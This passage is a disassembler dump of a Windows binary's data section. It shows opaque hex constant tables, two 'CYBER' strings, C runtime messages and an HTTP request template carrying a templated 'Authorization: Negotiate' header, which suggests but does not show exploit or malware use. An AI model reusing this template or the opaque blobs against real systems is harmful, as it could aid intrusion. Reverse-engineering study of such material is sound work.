dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah
dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh
dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h
dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h
dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh
dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
aCyber db 'CYBER',0 ; DATA XREF: seg000:00404F83o
; seg000:00405066o ...
align 4
aCyber_0 db 'CYBER',0 ; DATA XREF: seg000:0040538Ao
; seg000:004053C6o ...
align 10h
aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D066+62o
db 'Host: %s',0Dh,0Ah
db 'Authorization: Negotiate %s',0Dh,0Ah
db 0Dh,0Ah,0
align 10h
dbl_428690 dq 1.388888888888889e-2 ; DATA XREF: sub_40CE7B+2Fr
dbl_428698 dq 1.666666666666667e-1 ; DATA XREF: sub_40CE7B+15r
dbl_4286A0 dq 1.333333333333333 ; DATA XREF: sub_40CEC7+7Ar
dword_4286A8 dd 0 ; DATA XREF: sub_40D066+4Do
; sub_40D3A6+57o ...
flt_4286AC dd 5.0e-1 ; DATA XREF: sub_40D83A+3A5r
dd 0
dd 3F500000h
dbl_4286B8 dq -1.52587890625e-4 ; DATA XREF: sub_417B38+3D3r
dbl_4286C0 dq 3.0517578125e-4 ; DATA XREF: sub_417B38+3B4r
dbl_4286C8 dq -3.0517578125e-4 ; DATA XREF: sub_417B38+332r
; sub_417B38+396r
dbl_4286D0 dq 1.52587890625e-4 ; DATA XREF: sub_417B38+26Dr
dbl_4286D8 dq -1.739501953125e-3 ; DATA XREF: sub_417B38+248r
; sub_417B38+2D1r ...
dbl_4286E0 dq 3.11279296875e-3 ; DATA XREF: sub_417B38+E1r
dbl_4286E8 dq 3.0517578125e-5 ; DATA XREF: sub_417B38+AEr
; sub_417B38+137r ...
dbl_4286F0 dq 6.103515625e-5 ; DATA XREF: sub_417B38+93r
; sub_417B38+2FDr
dbl_4286F8 dq 2.288818359375e-3 ; DATA XREF: sub_417B38+21r
dbl_428700 dq -3.0517578125e-5 ; DATA XREF: sub_418872+2Br
flt_428708 dd 9.765625e-4 ; DATA XREF: sub_41A6BE+1B0r
flt_42870C dd 8.0 ; DATA XREF: sub_41A6BE+1AAr
flt_428710 dd 0.0 ; DATA XREF: sub_41A6BE+16Fr
flt_428714 dd 1.0e-3 ; DATA XREF: sub_41A6BE+166r
dbl_428718 dq 1.0 ; DATA XREF: sub_41C869+6Cr
; sub_41C9AF+6Cr ...
dword_428720 dd 0FFFFFFFFh, 41DC2Ah, 41DC3Eh ; DATA XREF: seg000:0041DB58o
a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: seg000:0041DF38o
align 4
a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: seg000:0041DEF9o
align 4
byte_42875C db 6 ; DATA XREF: sub_41F8BF:loc_41F916r
db 2 dup(0), 6
dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h
dd 0
dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
dd 8000008h, 7000800h, 8
aNull: ; DATA XREF: seg002:off_43F1A4o
unicode 0, <(null)>,0
align 4
aNull_0 db '(null)',0 ; DATA XREF: seg002:off_43F1A0o
align 10h
a_yn db '_yn',0
a_y1 db '_y1',0
a_y0 db '_y0',0
aFrexp db 'frexp',0
align 4
aFmod db 'fmod',0
align 4
a_hypot db '_hypot',0
align 4
a_cabs db '_cabs',0
align 4
aLdexp db 'ldexp',0
align 4
aModf db 'modf',0
align 4
aFabs db 'fabs',0
align 4
aFloor db 'floor',0
align 4
aCeil db 'ceil',0
align 4
aTan db 'tan',0
aCos db 'cos',0
aSin db 'sin',0
aSqrt db 'sqrt',0
align 4
aAtan2 db 'atan2',0
align 10h
aAtan db 'atan',0
align 4
aAcos db 'acos',0
align 10h
aAsin db 'asin',0
align 4
aTanh db 'tanh',0
align 10h
aCosh db 'cosh',0
align 4
aSinh db 'sinh',0
align 10h
aLog10 db 'log10',0
align 4
aPow db 'pow',0
aExp db 'exp',0 ; DATA XREF: seg002:off_43F41Co
dbl_428880 dq 0.0 ; DATA XREF: sub_42157F+8Cr
; sub_42157F+ACr ...
dbl_428888 dq 4.195835e6 ; DATA XREF: sub_421A94+Fr
dbl_428890 dq 3.145727e6 ; DATA XREF: sub_421A94+6r
aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_421AD2+Fo
align 4
aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_421AD2o
align 10h
aE000 db 'e+000',0 ; DATA XREF: sub_421BF9+93o
align 4
dword_4288C8 dd 0FFFFFFFFh, 4222E4h, 4222EEh, 0 ; DATA XREF: sub_42227D+5o
dword_4288D8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4223AC+5o
dd offset loc_42246A
align 8
dd offset sub_422448
dd offset sub_422452
dword_4288F0 dd 0FFFFFFFFh, 42269Ah, 42269Eh, 0 ; DATA XREF: sub_4224E2+5o
dword_428900 dd 0FFFFFFFFh, 4226FCh, 422705h, 0 ; DATA XREF: sub_4226A6+5o
dword_428910 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42277C+5o
dd offset loc_4227CD
align 10h
dd offset loc_4227B9
dd offset loc_4227BD
dword_428928 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4227D2+5o
dd offset loc_422823
align 8
dd offset loc_42280F
dd offset loc_422813
dword_428940 dd 2 dup(0) ; DATA XREF: seg000:00422DD9o
; seg000:00423F70o ...
dword_428948 dd 0FFFFFFFFh, 422EB3h, 422EB7h, 0FFFFFFFFh, 422F67h, 422F6Bh
; DATA XREF: seg000:00422DA8o
dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
dd 65682065h, 0A0D7061h, 0
aR6027NotEnough db 'R6027',0Dh,0Ah
db '- not enough space for lowio initialization',0Dh,0Ah,0
align 10h
aR6026NotEnough db 'R6026',0Dh,0Ah
db '- not enough space for stdio initialization',0Dh,0Ah,0
align 4
aR6025PureVirtu db 'R6025',0Dh,0Ah
db '- pure virtual function call',0Dh,0Ah,0
align 10h
aR6024NotEnough db 'R6024',0Dh,0Ah
db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
align 4
aR6019UnableToO db 'R6019',0Dh,0Ah
db '- unable to open console device',0Dh,0Ah,0
align 4
aR6018Unexpecte db 'R6018',0Dh,0Ah
db '- unexpected heap error',0Dh,0Ah,0
align 4
aR6017Unexpecte db 'R6017',0Dh,0Ah
db '- unexpected multithread lock error',0Dh,0Ah,0
align 4
aR6016NotEnough db 'R6016',0Dh,0Ah
db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra db 0Dh,0Ah
db 'abnormal program termination',0Dh,0Ah,0
align 4
aR6009NotEnough db 'R6009',0Dh,0Ah
db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough db 'R6008',0Dh,0Ah
db '- not enough space for arguments',0Dh,0Ah,0
align 10h
aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: seg002:off_43F86Co
db '- floating point not loaded',0Dh,0Ah,0
align 4
aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4238CD+119o
align 10h
asc_428C10 db 0Ah ; DATA XREF: sub_4238CD+F1o
db 0Ah,0
align 4
aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_4238CD+D3o
db 0Ah
db 'Program: ',0
align 10h
a___ db '...',0 ; DATA XREF: sub_4238CD+BFo
aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_4238CD+7Do
align 10h
dword_428C50 dd 0FFFFFFFFh, 424030h, 424034h ; DATA XREF: seg000:00423F3Co
aSunmontuewedth db 'SunMonTueWedThuFriSat',0
align 4
aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
align 4
aTz db 'TZ',0 ; DATA XREF: sub_424A3C+Ao
align 10h
aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_4250D1+3Do
align 4
aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_4250D1+35o
aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_4250D1+24o
a1Qnan db '1#QNAN',0 ; DATA XREF: sub_425912:loc_425A07o
align 4
a1Inf db '1#INF',0 ; DATA XREF: sub_425912+D8o
align 10h
a1Ind db '1#IND',0 ; DATA XREF: sub_425912+C7o
align 4
a1Snan db '1#SNAN',0 ; DATA XREF: sub_425912+ADo
align 10h
dword_428CF0 dd 0FFFFFFFFh, 42630Ah, 42630Eh, 0FFFFFFFFh, 426379h, 42637Dh
; DATA XREF: sub_426153+5o
dd 428E48h
off_428D0C dd offset loc_4268B8 ; DATA XREF: sub_4266C0+4Do
; sub_4268D4+Co
dd offset sub_42677E
dd offset sub_42689B
aStringTooLong db 'string too long',0 ; DATA XREF: sub_4266C0+1Eo
dd offset dword_428E80
off_428D2C dd offset loc_4267E5 ; DATA XREF: sub_42671A+4Eo
; sub_4267A8+11o ...
dd offset sub_42677E
dd offset sub_42678B
dword_428D38 dd 0FFFFFFFFh ; DATA XREF: sub_42671A+3Br
; sub_426801+34r
dd offset dword_428ED0
off_428D40 dd offset loc_4269A0 ; DATA XREF: sub_4268EC+4Do
; sub_4269BC+Co
dd offset sub_42677E
dd offset sub_426983
aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_4268EC+1Eo
dd offset dword_428F00
off_428D68 dd offset sub_426AA4 ; DATA XREF: sub_426AC0+8o
; sub_426AFD+8o ...
dd offset sub_426B5D
aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_426B5D+7o
align 4
dd offset dword_428F48
off_428D88 dd offset loc_426B7F ; DATA XREF: sub_426B6Ao
; seg002:off_43FD18o ...
align 10h
dword_428D90 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_426B9B+Eo
dd 3, 19930520h, 2 dup(0)
dword_428DB0 dd 0FFFFFFFFh, 426D4Ch, 426D50h, 0FFFFFFFFh, 426DC9h, 426DCDh
; DATA XREF: sub_426C4A+5o
dword_428DC8 dd 0FFFFFFFFh, 426FC1h, 426FC5h, 0FFFFFFFFh, 42701Eh, 427022h
; DATA XREF: sub_426ED5+5o
dd 43FD18h, 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
off_428DF8 dd offset off_43FD30 ; DATA XREF: seg001:00428E2Co
; seg001:00428E60o ...
dd 1, 0
dd 0FFFFFFFFh, 2 dup(0)
off_428E10 dd offset off_43FD50 ; DATA XREF: seg001:00428E28o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_428E10
dd offset off_428DF8
dd offset dword_428DC8+18h
dd 0
db 0 ; DATA XREF: seg001:00428E58o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 3, 428E28h, 3 dup(0)
dd offset off_43FD50
dd offset unk_428E38
align 10h
dd offset off_428DF8
dd offset dword_428DC8+18h
dword_428E68 dd 4 dup(0) ; DATA XREF: seg001:00428E90o
dd 2, 428E60h
dword_428E80 dd 3 dup(0) ; DATA XREF: seg001:00428D28o
dd offset off_43FD30
dd offset dword_428E68+8
align 8
off_428E98 dd offset off_43FD70 ; DATA XREF: seg001:00428EB0o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_428E98
dd offset off_428DF8
dd offset dword_428DC8+18h
dword_428EBC dd 3 dup(0) ; DATA XREF: seg001:00428EE0o
dd 3, 428EB0h
dword_428ED0 dd 3 dup(0) ; DATA XREF: seg001:00428D3Co
dd offset off_43FD70
dd offset dword_428EBC+4
dd offset dword_428DC8+18h
dword_428EE8 dd 4 dup(0) ; DATA XREF: seg001:00428F10o
dd 1, 428EE4h
dword_428F00 dd 3 dup(0) ; DATA XREF: seg001:00428D64o
dd offset off_43FD18
dd offset dword_428EE8+8
dd 0
off_428F18 dd offset off_43FD90 ; DATA XREF: seg001:00428F30o
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_428F18
dd 0
db 0 ; DATA XREF: seg001:00428F58o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 1, 428F30h
dword_428F48 dd 3 dup(0) ; DATA XREF: seg001:00428D84o
dd offset off_43FD90
dd offset unk_428F38
align 10h
dd 0FFFFFFFFh, 4270A4h, 0
dd offset sub_42709C
dword_428F70 dd 19930520h, 2, 428F60h, 4 dup(0) ; DATA XREF: seg000:loc_4270BBo
dd 0FFFFFFFFh, 4270C8h, 0
dd offset loc_4270D0
dword_428F9C dd 19930520h, 2, 428F8Ch, 4 dup(0) ; DATA XREF: seg000:loc_4270D8o
dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 4 dup(0)
dd offset loc_40D60C
align 10h
dd 2 dup(1), 428FC8h
dword_428FEC dd 19930520h, 2, 428FB8h, 1, 428FD8h, 3 dup(0)
; DATA XREF: seg000:loc_4270E4o
dd offset off_43FD18
dd 0
dd 0FFFFFFFFh, 0
dd 0Ch, 426AFDh, 2 dup(0)
dd offset off_43FD30
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 426801h, 2 dup(0)
dd offset off_43FD50
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 4268D4h, 0
dword_429068 dd 3, 429048h, 429028h, 429008h ; DATA XREF: seg001:00429084o
dword_429078 dd 0 ; DATA XREF: sub_4266C0+47o
; sub_42689B+12o
dd offset sub_42685E
dd 0
dd offset dword_429068
dword_429088 dd 19930520h, 1, 4290A8h, 5 dup(0) ; DATA XREF: seg000:loc_4270F8o
dd 0FFFFFFFFh, 4270F0h
dword_4290B0 dd 19930520h, 1, 4290D0h, 5 dup(0) ; DATA XREF: seg000:loc_42710Co
dword_4290D0 dd 0FFFFFFFFh, 427104h, 2, 429028h, 429008h, 0 ; DATA XREF: seg001:004290F4o
dword_4290E8 dd 0 ; DATA XREF: sub_42678B+12o
dd offset sub_4267A8
dd 0
dd offset dword_4290D0+8
dword_4290F8 dd 19930520h, 1, 429118h, 5 dup(0) ; DATA XREF: seg000:loc_427120o
dd 0FFFFFFFFh, 427118h
dword_429120 dd 19930520h, 1, 429140h, 5 dup(0) ; DATA XREF: seg000:loc_427134o
dd 0FFFFFFFFh, 42712Ch
dword_429148 dd 19930520h, 1, 429168h, 5 dup(0) ; DATA XREF: seg000:loc_427148o
dd 0FFFFFFFFh, 427140h, 0
dd offset off_43FD70
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 4269BCh, 0
dword_429190 dd 3, 429170h, 429028h, 429008h ; DATA XREF: seg001:004291ACo
dword_4291A0 dd 0 ; DATA XREF: sub_4268EC+47o
; sub_426983+12o
dd offset sub_426946
dd 0
dd offset dword_429190
dword_4291B0 dd 19930520h, 1, 4291D0h, 5 dup(0) ; DATA XREF: seg000:loc_42715Co
dd 0FFFFFFFFh, 427154h
dword_4291D8 dd 19930520h, 1, 4291F8h, 5 dup(0) ; DATA XREF: seg000:loc_427170o
dd 0FFFFFFFFh, 427168h, 2942Ch, 2 dup(0)
dd 294A2h, 281DCh, 29434h, 2 dup(0)
dd 294B8h, 281E4h, 29250h, 2 dup(0)
dd 29D38h, 28000h, 5 dup(0)
dd 13EF469Bh, 0A084B9CBh, 6EF58751h, 44176B64h, 0DD3AE4B2h
dd 35645917h, 0C978E84Ah, 0E6E410A1h, 0DEFA2786h, 0E229EAEh
dd 82E1EA93h, 0A49AF37Ah, 82A12F95h, 955E215Dh, 12AC3E9h
dd 7E1FAF7Bh, 5C21CA67h, 62DBB35Ah, 784FD758h, 8A1D234h
dd 2E9AAAB9h, 0EC793655h, 2D225CAAh, 0A5D7F39Ch, 1C63A393h
dd 121461DEh, 0EA42F371h, 5EECD96Fh, 0F391D945h, 0DCB0761Fh
dd 8D16FA31h, 0E95ED6E1h, 4546C261h, 7A4CE1F5h, 0B4D4AA58h
dd 314548E9h, 0A68E7A84h, 9C49BEAEh, 0BC176198h, 9107FAA8h
dd 0F2245E1Ah, 64781411h, 5A1D8BBAh, 0FBC62A33h, 0C829E87Ch
dd 8F740846h, 0A8BC2EEDh, 42D66ACBh, 211E662Dh, 0D05796E4h
dd 39088F92h, 0BCC63FC6h, 23F48D44h, 0BC4DB500h, 0D41997A5h
dd 26197169h, 236B54CCh, 0B9056BD7h, 29DF2438h, 4627B937h
dd 4B3EBC8Bh, 9286B94Dh, 0C3CADE2Dh, 9B2C75E4h, 0AB9F341Eh
dd 0DFE46E87h, 98DCE44h, 8F4BF7EDh, 0E251DD9Dh, 6E9CA31Fh
dd 412F46C7h, 0FDE9D3EDh, 0C6A5D4FBh, 0ECA7327Dh, 58F6CD0Ah
dd 0B19021D1h, 0EA1DD896h, 77D55EB9h, 0B62FC51Eh, 0AAE5788Ch
dd 0D5FABA0Bh, 0E50A891Eh, 0C4064A95h, 957C0CE5h, 0E9A61B2h
dd 98B59803h, 6BF997B9h, 3E49F33Ch, 3346D715h, 0B8F644Bh
dd 37B7D7EEh, 35B1C02Eh, 888FF56Dh, 0D08D71F7h, 0A3132543h
dd 0D7579BFEh, 2E46356Fh, 28249DA5h, 9B392801h, 38A7156Bh
dd 0E8E148ACh, 4D6C58C9h, 0D23C1798h, 74FB4C20h, 45691B81h
dd 25D1A8BEh, 82C90D06h, 10753E56h, 0C8ADD52Ch, 95A00059h
dd 6264C84Ah, 88B0679Ch, 20AB1921h, 865AB3FCh, 26E63D19h
dd 6A696E21h, 8735AA0Eh, 1D3DC5B6h, 0
dd 0F1DF2F34h, 0
dd 0BDE246DDh, 367943h, 5CAA897Eh, 5D5F92E4h, 0F84E4411h
dd 0F2AAB23h, 0EF490A33h, 656C367Dh, 0D9946C09h, 49E3E08h
dd 0A89560A3h, 589A8DE0h, 6334FC4Ch, 0CAEB0E66h, 76D491DFh
dd 0A78313A6h, 0D9BEC0A7h, 0C35B866Fh, 3B1F59FDh, 179AF286h
dd 644A5EECh, 0
dd 25870006h, 79EBE9BAh, 7C54D76Eh, 0C1D74669h, 0A21D9AC2h
dd 0B2A70087h, 6299E01Fh, 41000Ah, 8019A414h, 0B33D94C8h
dd 0E335h, 3CED9E5Dh, 0A2EAC5E4h, 0E0DEh, 4DB80349h, 15A8FCh
dd 93D500AFh, 8DDF6572h, 98F5458Ch, 2E0006h, 0DE058312h
dd 0D0A9029Eh, 0D87132h, 0D2BF0060h, 34C0820Dh, 0EE1BC613h
dd 0C6F01F9h, 1750000h, 0E4204DB2h, 76B8ED55h, 0A4702793h
dd 5A406F84h, 0F5D3h, 449C01B9h, 0B3B4A011h, 0B6954590h
dd 0DEC20D72h, 22ED090Fh, 6900BEh, 7C4BEFh, 44AE4164h
dd 0E6F74971h, 7C0000h, 0E3A7E93Dh, 1E4A8B6Ch, 4EE446h
dd 9D5E027Ch, 0DA12ABCEh, 0D2A55DD1h, 13B00ADh, 252E493h
dd 734B122h, 4953D450h, 0D6C9EE1Eh, 78F384h, 0F61A0169h
dd 3D500A60h, 0AAA7E0C4h, 76A5h, 0E715003Dh, 0AE1F99F3h
dd 3CA0EAh, 274A030Eh, 914ABCD8h, 5B0CEE10h, 785A7B9Ch
dd 0FBF363D0h, 1560000h, 847C633Ah, 0F66F3303h, 10DB0FB5h
dd 0D1ACB9DBh, 8B28h, 0E4CA0177h, 0A0816AAAh, 5BD6F5B5h
dd 0A417F04Ch, 4B87h, 9DBC0385h, 5CF14331h, 3FB6464h, 6818EAA6h
dd 1E5F67EFh, 5A0052h, 44EBD761h, 0E78E9393h, 0CB1DA03Bh
dd 1D50000h, 884F1D28h, 2FED1743h, 0DADF6DB5h, 3520000h
dd 0B6B56C0Eh, 0A50DC2E2h, 0BC851E33h, 360A08h, 0D08401CBh
dd 0A99BCB6Eh, 476BE851h, 0A2F5h, 3F910264h, 0AA6BDF16h
dd 0DCD0A6h, 97030248h, 8F98EAE8h, 0DE1406E6h, 58FCh, 0A4C90198h
dd 5588A16Fh, 5535CDBAh, 4B8085E7h, 10C0000h, 5365ED3Ah
dd 0B7D53F2h, 62AB0F7Bh, 2B85DF5Eh, 16C0000h, 0C8F8D7C6h
dd 0D011EF12h, 9AF94F57h, 0F9B3h, 22801DFh, 0AFFAD384h
dd 3A0A98F9h, 1EF1D2h, 1E9200B0h, 0CB856416h, 0E6270DCEh
dd 2470000h, 0AE722297h, 94C3844Ah, 0E0593454h, 53F97360h
dd 0B68A2537h, 8F0000h, 0F6E4D0B8h, 0DA1676ABh, 0B533934Ah
dd 4D3D65A0h, 7CC6F1D2h, 21A0000h, 170B7C60h, 0CDF386C8h
dd 9C86883Fh, 0F6DD12Ch, 9B781650h, 0C321BA9Bh, 45680927h
dd 83A1BDB3h, 86A7B428h, 7A00DEh, 593CB1ECh, 6EF6CD75h
dd 775864B5h, 4C7B6B74h, 0BB647E47h, 3970085h, 0B5A7CC15h
dd 924461F2h, 490071h, 36949A4Eh, 8134AEBEh, 0ADA4E927h
dd 2AB0000h, 0E633022h, 200BA9CFh, 4D0000h, 92E52839h
dd 2861173Dh, 0D9D138h, 0F6C1035Bh, 0F455641Eh, 5DC5817Ah
dd 2F0B6B1h, 0B5A7E3h, 0E9470351h, 64A7B863h, 0B67C2069h
dd 0ECE2EEEEh, 0E7Bh, 462F008Ch, 0EBEC9BC3h, 572045A9h
dd 0CC4B84D9h, 13A00FDh, 0CF43F56h, 0F8F7BE4Eh, 1E7888D6h
dd 0B77B47D4h, 5F00FBh, 69F08E0h, 0E309F861h, 16F7h, 0E51D01D6h
dd 0D794C201h, 2A0521FBh, 0B1E05EE2h, 13F0000h, 0BB79FFEh
dd 0B35059A4h, 0F0338132h, 0E228h, 7AE5015Bh, 0D89A511Fh
dd 0B389ADFBh, 0C5009Fh, 0CC4C7981h, 88C82E0Fh, 0BC00AFh
dd 0FE1B2168h, 2CE8466Ah, 0B6A32321h, 7ADA5E19h, 910482AAh
dd 0BB0000h, 849C440Fh, 0B1381D9Dh, 5DAEC43Fh, 61A8739Ah
dd 0D2B2B14Eh, 0E65227h, 41F700D3h, 2B226B4Eh, 0A76DAF65h
dd 558738h, 177300C9h, 0AD1642AFh, 5F75BCD6h, 0F27D9957h
dd 3100000h, 2093AEF2h, 0B0AE323Ah, 82AF19FEh, 0E2B7h
dd 0BDD002E3h, 7C398BCAh, 0DF44EB33h, 2228BDB4h, 8E265EFh
dd 7065B1h, 0B3FE0383h, 415A7F0h, 0E45FE89Ah, 0B805BA9Fh
dd 0C664CCD9h, 761B9E74h, 0F40000h, 8F85FA0Ch, 8FABF110h
dd 0E8BFD1AFh, 0EE6B3E55h, 7D95A792h, 17666803h, 16B0000h
dd 7179B68Ch, 88A655D9h, 0FA494F32h, 2990000h, 7F3888A3h
dd 0AB81493Eh, 0D7315Fh, 0EEE2CE60h, 2D003E1Dh, 3B423Ch
dd 0E07E029Ah, 80C1B40Dh, 719791A7h, 58541925h, 9B03E2B6h
dd 99E085DAh, 0A8690Eh, 0C73700EFh, 228211D1h, 8EBEAB20h
dd 151002Fh, 3D9ACD2Ah, 487DB82Fh, 0E301CDE1h, 5D4E18C6h
dd 1F23DDC6h, 0A2A400h, 0B36B020Ch, 98AF530Dh, 1586h, 5FF40206h
dd 911398E2h, 0EEDCF5h, 414C019Bh, 54135329h, 7D755FE9h
dd 266EB4Bh, 37E0000h, 87675FBh, 8C64DFF8h, 9E553DFh, 4B8Fh
dd 0B01302AEh, 0ADE1E9F6h, 65D6D72Ch, 9598901h, 0BB5737h
dd 0E6101BBh, 0B12A6D7Fh, 0D036B067h, 9678AAh, 0C04B00EAh
dd 78374CB9h, 0A873499Eh, 606A7E23h, 2000000h, 2D9C6E4Ch
dd 0B11EAC36h, 0C8C22B56h, 1F90000h, 0AC1E528Dh, 0F8D18D6h
dd 8D36h, 428E0365h, 2D31F89Dh, 551509E8h, 78EDCB42h, 25E0051h
dd 96B809A6h, 0A813E8F2h, 485997AEh, 4E0063h, 0D6F66900h
dd 0CBFE288Dh, 22C9D676h, 61D9A3CEh, 0F1E3h, 0A9530314h
dd 0CC76A407h, 3E8A92Eh, 15D0076h, 5246F466h, 118968C6h
dd 0A82EB4h, 688900B2h, 7510DF76h, 0F7440B75h, 141A4B7Ch
dd 48C646AAh, 14FA4F9Ch, 9CCFB9h, 0D2690389h, 97431B4Ch
dd 0C4235E0h, 0DD93DDDEh, 0EEC657B7h, 26B00A0h, 71AAE5DDh
dd 9D150698h, 0DA07569Ah, 0A29FE80Eh, 989F27h, 316D03B6h
dd 947BA3B3h, 7E6BC4h, 0EA3B0152h, 0C77D6A9Ah, 0D3B7D007h
dd 8ED492F5h, 0FC5690Dh, 2870000h, 0CF5F811Dh, 5F2C7EC0h
dd 703100C5h, 1700079h, 8D8D7932h, 0B54C87BDh, 849333E8h
dd 9EC40100h, 1FA0000h, 77EB7461h, 40B2A642h, 0A6A1030Eh
dd 0A9E1666Ah, 0C814h, 0C0520210h, 63F2B57Ch, 0F822E5C8h
dd 2CC0071h, 44A8B03Ch, 0CC609A6Ah, 1D8002Bh, 0CB7430B6h
dd 87CDAC4Ch, 8812DED4h, 0C4732CBCh, 48A2C23Fh, 0CD6Ah
dd 6E7201BEh, 0D6A5ABCFh, 0D9DCB2C3h, 0C78325h, 6C1701AFh
dd 542A90B4h, 97F942BAh, 0C5433123h, 10800DBh, 0BF865DA9h
dd 34E9B0F9h, 4B970D17h, 9FD339h, 31E701DEh, 6EADE3BBh
dd 1A91F90h, 1500000h, 1EAC77E7h, 0F76B9F10h, 0BBE92DADh
dd 951E8859h, 415A258Bh, 931F46h, 0E6CB020Ah, 891CD82Ch
dd 8A7C1290h, 208007Ah, 8E8867C5h, 0B37F350Eh, 0EA60h
dd 6320378h, 78D86F5Ah, 0C990D51Ch, 37500EDh, 56FE54A7h
dd 79D21ADDh, 0FE78E460h, 22C0000h, 0D4F8EF58h, 145E1B44h
dd 8C064548h, 0FC00B8h, 146D33F7h, 0CDF56B23h, 0F50032h
dd 2FF2CD54h, 1901h, 0DC85018Bh, 9F8AEC25h, 0BEB4h, 1FBB029Dh
dd 5533F751h, 77BD0058h, 6D2F1520h, 2120000h, 65A4EFEBh
dd 959FADBAh, 23A0000h, 0B015ED2Ch, 3787496Eh, 7E5B57h
dd 23B0000h, 6FD034E8h, 99A314E5h, 9C3ABFC3h, 3620000h
dd 6BC726AEh, 0B2DD144Bh, 421C8122h, 0CF914B92h, 5D113DF6h
dd 0F9FC74B0h, 0ED0000h, 0C273F623h, 5D213C8Fh, 1D4AF582h
dd 0ACA6D463h, 8E1D2E97h, 0E9DC89h, 0DDE700EEh, 0A65E3A1Bh
dd 0E7E3F65Eh, 0E3E66D86h, 0FA29CF2Ch, 3FB990EAh, 14D00BCh
dd 0A48B99E9h, 4D9678F4h, 9FBD7F88h, 0C1F04851h, 0D3404E0Ch
dd 14F003Eh, 0B9774296h, 8A774513h, 0C2EF436Ch, 9A7DFBAh
dd 764DA5B2h, 0FB20h, 0C6DF0319h, 0D2FE9D9h, 6033CFE2h
dd 0F70CB2FBh, 1B10000h, 7A275406h, 44C0313h, 0DD182E6Eh
dd 15E0000h, 0BBABE9Ch, 0BC7540A6h, 559174h, 43FA032Ch
dd 1709AC7Fh, 5AF20748h, 5A53h, 83500E5h, 2AB66F0Fh, 49ACA593h
dd 0BD8F4287h, 6983h, 72C601B2h
dd 0B1528CDh, 933B77A7h, 7250B116h, 1B50000h, 81F0780Fh
dd 0E054113Dh, 0BF60686Fh, 0BDAFh, 4F6B033Dh, 1691BD15h
dd 96794B9Ah, 0F307FA47h, 0A4092CE4h, 9DC37DB7h, 63DD0B5Bh
dd 2290069h, 0A8E9B77Dh, 69BE687Dh, 3C91BD4Fh, 2260000h
dd 77D873D5h, 305DC6F2h, 73B8778h, 3050000h, 8A72BE3h
dd 0D8C53142h, 559EB4C5h, 340000h, 42429977h, 890AED8Eh
dd 0B7686B8Bh, 51A2h, 0F8710035h, 764171D6h, 0A777354Ch
dd 0CC9AC00Fh, 3080000h, 0EF645614h, 28F62803h, 9DBECA85h
